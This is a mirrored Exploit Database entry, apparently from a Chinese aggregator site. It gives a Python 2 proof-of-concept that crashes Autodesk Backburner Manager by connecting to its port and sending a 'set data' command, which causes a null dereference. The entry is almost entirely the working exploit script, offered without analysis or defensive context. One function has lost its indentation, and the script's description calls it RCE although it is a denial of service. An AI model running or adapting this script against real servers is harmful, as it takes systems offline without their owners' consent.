Autodesk Backburner Manager 3 < 2016.0.0.2150 - Null Dereference Denial of Service

• Exploit Database
• 16 阅读

• 作者： b0nd
  日期： 2017-01-26
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/41160/

• import sys
  import datetime
  import socket
  import argparse
  import os
  import time
  
  remote_host = ''
  remote_port = ''
  
  def callExit():
  	print "\n\t\t[!] exiting at %s .....\n" % datetime.datetime.now()
  	sys.exit(1)
  
  def mySocket():
  	try:
  		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  	except socket.error:
  		print 'Failed to create socket'
  		sys.exit()
  	
  	print "\n\t[+] Socket Created"
  	
  	s.connect((remote_host, remote_port))
  	print "\n\t[+] Socket Connected to %s on port %s" % (remote_host, remote_port)
  	
  	return s
  	
  # 250 backburner 1.0 Ready.
  def receiveBanner(s):
  	banner = s.recv(4096)
  	print banner
  
  
  def receiveData(s):
  	data = s.recv(4096)
  	print data
  
  
  def setDataCommand(s):
  receiveData(s)			# backburner>
  print "Set Data Command"
  time.sleep(1)
  command = "set data\r\n"
  try:
  s.sendall(command)
  except socket.error:
  print 'Send failed'
  sys.exit()
  print "BackBurner Manager should have crashed"
  receiveData(s)			# 200 Help
  receiveData(s)			# Available Commands:.....and all set of commands
  # backburner>
  
  
  def main():
  	if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
  		os.system('clear')
  
  	parser = argparse.ArgumentParser(description = 'RCE Autodesk BackBurner')
  	parser.add_argument('--host', nargs='?', dest='host', required=True, help='remote IP of Autodesk host')
  	parser.add_argument('--port', nargs='?', dest='port', default=3234, help='remote Port running manager.exe')
  	
  	args = parser.parse_args()
  	
  	if args.host == None:
  		print "\t[!] IP of remote host?"
  		sys.exit()
  	
  	global remote_host
  	global remote_port
  	
  	remote_host = args.host
  	remote_port = args.port
  	
  	print "remote_host: %s" % remote_host
  	print "remote_port: %s" % remote_port
  	
  	s = mySocket()
  	receiveBanner(s)
  	setDataCommand(s)
  	
  	print 'exit'
  	sys.exit()
  	
  	
  if __name__ == '__main__':
  	try: sys.exit(main())
  	except KeyboardInterrupt:
  		callExit()